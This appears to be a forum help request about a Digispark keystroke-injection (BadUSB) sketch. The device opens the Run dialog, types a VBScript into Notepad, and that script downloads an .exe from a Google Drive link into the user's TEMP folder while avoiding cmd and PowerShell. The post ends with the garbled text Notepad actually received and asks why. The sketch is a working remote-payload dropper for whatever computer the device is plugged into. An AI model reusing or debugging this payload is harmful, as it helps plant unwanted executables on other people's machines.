Hi,
I want my digikeyboard download a file but without the command prompt or powershell so first attemp I use Internet explorer to download the file but the problem is if there is for downloading the file is never the same time so I change to another technic so I want to create a .vbs file that download the file now I have a problem that I cant understand.
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(800);
DigiKeyboard.print(F("notepad LOL.vbs"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("Set environmentVars = WScript.CreateObject(\\\"WScript.Shell\\\").Environment(\\\"Process\\\")");
DigiKeyboard.println("tempFolder = environmentVars(\"TEMP\")");
DigiKeyboard.println("strLink = \"https://drive.google.com/uc?authuser=0&id=0B6w-tx1sAyfLaHREdGhBcmRhVHM&export=download\"");
DigiKeyboard.println("strSaveTo = tempFolder & \"\\Gandalf Sax.exe\"");
DigiKeyboard.println("Set objHTTP = CreateObject( \"WinHttp.WinHttpRequest.5.1\" )");
DigiKeyboard.println("objHTTP.Open \"GET\", strLink, False");
DigiKeyboard.println("objHTTP.Send");
DigiKeyboard.println("Set objFSO = CreateObject(\"Scripting.FileSystemObject\")");
DigiKeyboard.println("If objFSO.FileExists(strSaveTo) Then");
DigiKeyboard.println("objFSO.DeleteFile(strSaveTo)");
DigiKeyboard.println("End if");
DigiKeyboard.println("If objHTTP.Status = 200 Then");
DigiKeyboard.println("Dim objStream");
DigiKeyboard.println("Set objStream = CreateObject(\"ADODB.Stream\")");
DigiKeyboard.println("With objStream");
DigiKeyboard.println(".Type = 1");
DigiKeyboard.println(".Open");
DigiKeyboard.println(".Write objHTTP.ResponseBody");
DigiKeyboard.println(".SaveToFile strSaveTo");
DigiKeyboard.println(".Close");
DigiKeyboard.println("End With");
DigiKeyboard.println("set objStream = Nothing");
DigiKeyboard.println("End If");That the Open Run command write notepad and the name of the new file press enter wait 2 second and println all the line of the code I dont know if there is more easy way but if nothing on the web now I upload in the digispark but it open notepad and write that
P.Status = 200 Then
Stream
.ResponseBody
8
objHTTP.Open "GET", strLink, False
objHTTP.Send
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(st
,=<
6f objHZP.Status = 200 Then
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objHTTP.ResponseBody
.SaveToFile strSaveTo
.Close
End With
set objStream = Nothing
End IfWhy ??
thanks for the help